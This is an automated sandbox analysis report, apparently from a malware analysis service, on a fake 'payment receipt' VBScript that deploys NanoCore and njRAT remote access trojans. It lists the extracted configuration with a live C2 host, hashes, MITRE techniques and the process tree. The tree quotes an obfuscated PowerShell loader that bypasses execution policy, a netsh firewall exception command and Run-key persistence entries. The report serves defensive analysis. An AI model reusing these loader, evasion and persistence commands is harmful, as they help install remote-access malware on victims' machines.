nanocore | c793569980c9bf4b3d296903da942e9a11f4c6e2fb0023517a037fc3d56c1b36

General

Target

928272_Payment_Receipt.vbs
Size

2KB
MD5

a19d14dd9f9fc40dcee050f211075042
SHA1

2ee3f12297514b90e5c38045f52b3593c4439317
SHA256

c793569980c9bf4b3d296903da942e9a11f4c6e2fb0023517a037fc3d56c1b36
SHA512

a14aac7365e5305c47d726dd7980dcc5a8f714025e7dad4759ccc03ce1f657b31bda391933caf31ec305b532cb7dba7ca34ad7e59ff2971c30add90b554fc4b8

Score

10^/10

nanocore njrat hacked evasion keylogger persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 4500 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

GoogleCrashHandler.exe

pid process

2756 GoogleCrashHandler.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
9	4500	powershell.exe

pid	process
2756	GoogleCrashHandler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4500 set thread context of 1572	4500	powershell.exe	jsc.exe
PID 4500 set thread context of 2040	4500	powershell.exe	jsc.exe
PID 4500 set thread context of 2788	4500	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exejsc.exe

pid	process
4160	powershell.exe
4160	powershell.exe
4160	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
2040	jsc.exe
2040	jsc.exe
2040	jsc.exe
2040	jsc.exe
2040	jsc.exe
2040	jsc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

2040 jsc.exe

pid	process
2040	jsc.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exepowershell.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	2040	jsc.exe
Token: SeDebugPrivilege	2788	jsc.exe
Token: 33	2788	jsc.exe
Token: SeIncBasePriorityPrivilege	2788	jsc.exe
Token: 33	2788	jsc.exe
Token: SeIncBasePriorityPrivilege	2788	jsc.exe
Token: 33	2788	jsc.exe
Token: SeIncBasePriorityPrivilege	2788	jsc.exe
Token: 33	2788	jsc.exe
Token: SeIncBasePriorityPrivilege	2788	jsc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

jsc.exe

pid process

1572 jsc.exe

pid	process
1572	jsc.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

WScript.exepowershell.exepowershell.exejsc.exejsc.exe

description	pid	process	target process
PID 2860 wrote to memory of 4160	2860	WScript.exe	powershell.exe
PID 2860 wrote to memory of 4160	2860	WScript.exe	powershell.exe
PID 4160 wrote to memory of 4500	4160	powershell.exe	powershell.exe
PID 4160 wrote to memory of 4500	4160	powershell.exe	powershell.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 1572	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2040	4500	powershell.exe	jsc.exe
PID 1572 wrote to memory of 2756	1572	jsc.exe	GoogleCrashHandler.exe
PID 1572 wrote to memory of 2756	1572	jsc.exe	GoogleCrashHandler.exe
PID 1572 wrote to memory of 2756	1572	jsc.exe	GoogleCrashHandler.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 4500 wrote to memory of 2788	4500	powershell.exe	jsc.exe
PID 2788 wrote to memory of 1276	2788	jsc.exe	netsh.exe
PID 2788 wrote to memory of 1276	2788	jsc.exe	netsh.exe
PID 2788 wrote to memory of 1276	2788	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\928272_Payment_Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1572

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"
5⤵
- Executes dropped EXE
PID:2756

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
5⤵
PID:1276

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
010c219c46b4439bc787644989e20389

SHA1
f3a63066ab4446458bd6417386777e39e09b9b25

SHA256
2a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa

SHA512
c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log
MD5
6cbb1d6c55c64852f7b0e9414b2adda6

SHA1
ffb792bb6182475bea27e090e347bfe0fe87f9ed

SHA256
6d98c0f1c22acff523f7bdc81746a0ad7ed811d6a8de4ca8fa76d24b73c6e469

SHA512
236aa3aaff08969eb470d2a077eea37cf10169ae2455568fc3e9c753e13e55654ff0a6730c7732b5f1b02d64a0fceb17626b05b87a922f4c20369c76c99ad2a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
89bf9e281975f9bf245843bf7103f37d

SHA1
ddbd1bf9a760197e41ee9b5401f4656f6fc2012a

SHA256
d0965fc09021ab6dbebfc36176e7278b7364763276f9acaf6a603ea5224e4608

SHA512
cf1f65f7c4bdba354fbd43b63b8668fd90f72a0df11f102ca4b3a82b29bfe63b6677769c67d1efef11426a7b470cb9724e3204ab9991b8f599ce66c607948e30

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
8a43ee43aceb932ae16cd4fce2bc6166

SHA1
add161894bd58603f8cfe5de9d96d24670e653e8

SHA256
95a46df81c69a689c59907615108c3ff78734078c0555a260b504aab3ab41034

SHA512
a91342ef78f76eeac24ac79287703343483c3b728a3beb69345071545bccbf511744ce278863c6de8d345057452dbc7cd4ff583a8796e28199395e5af764c6f3

Download Submit
memory/1276-202-0x0000000000000000-mapping.dmp

Download
memory/1572-176-0x00000000052A0000-0x000000000579E000-memory.dmp

Filesize
5.0MB

Download
memory/1572-167-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

Download
memory/1572-162-0x00000000004123BE-mapping.dmp

Download
memory/1572-161-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/1572-165-0x0000000005160000-0x0000000005161000-memory.dmp

Filesize
4KB

Download
memory/1572-166-0x0000000005200000-0x0000000005201000-memory.dmp

Filesize
4KB

Download
memory/2040-177-0x00000000055A0000-0x0000000005A9E000-memory.dmp

Filesize
5.0MB

Download
memory/2040-201-0x00000000055A0000-0x0000000005A9E000-memory.dmp

Filesize
5.0MB

Download
memory/2040-170-0x000000000041E792-mapping.dmp

Download
memory/2040-169-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2040-178-0x00000000055E0000-0x00000000055E1000-memory.dmp

Filesize
4KB

Download
memory/2040-199-0x0000000005880000-0x0000000005899000-memory.dmp

Filesize
100KB

Download
memory/2040-198-0x0000000005820000-0x0000000005825000-memory.dmp

Filesize
20KB

Download
memory/2756-191-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/2756-180-0x0000000000000000-mapping.dmp

Download
memory/2756-197-0x000000007E660000-0x000000007E661000-memory.dmp

Filesize
4KB

Download
memory/2788-183-0x000000000040BBCE-mapping.dmp

Download
memory/2788-181-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2788-203-0x0000000004FA0000-0x000000000503C000-memory.dmp

Filesize
624KB

Download
memory/4160-120-0x0000012636D40000-0x0000012636D42000-memory.dmp

Filesize
8KB

Download
memory/4160-119-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-115-0x0000000000000000-mapping.dmp

Download
memory/4160-126-0x0000012637810000-0x0000012637811000-memory.dmp

Filesize
4KB

Download
memory/4160-117-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-116-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-118-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-125-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-121-0x0000012636BE0000-0x0000012636BE1000-memory.dmp

Filesize
4KB

Download
memory/4160-196-0x0000012636D46000-0x0000012636D48000-memory.dmp

Filesize
8KB

Download
memory/4160-122-0x0000012636D43000-0x0000012636D45000-memory.dmp

Filesize
8KB

Download
memory/4160-128-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-127-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-194-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-123-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4160-124-0x000001261CDD0000-0x000001261CDD2000-memory.dmp

Filesize
8KB

Download
memory/4500-141-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-185-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-160-0x0000015079100000-0x0000015079104000-memory.dmp

Filesize
16KB

Download
memory/4500-145-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-149-0x0000015078496000-0x0000015078498000-memory.dmp

Filesize
8KB

Download
memory/4500-132-0x0000000000000000-mapping.dmp

Download
memory/4500-142-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-133-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-134-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-135-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-136-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-138-0x000001505E750000-0x000001505E752000-memory.dmp

Filesize
8KB

Download
memory/4500-139-0x0000015078490000-0x0000015078492000-memory.dmp

Filesize
8KB

Download
memory/4500-140-0x0000015078493000-0x0000015078495000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads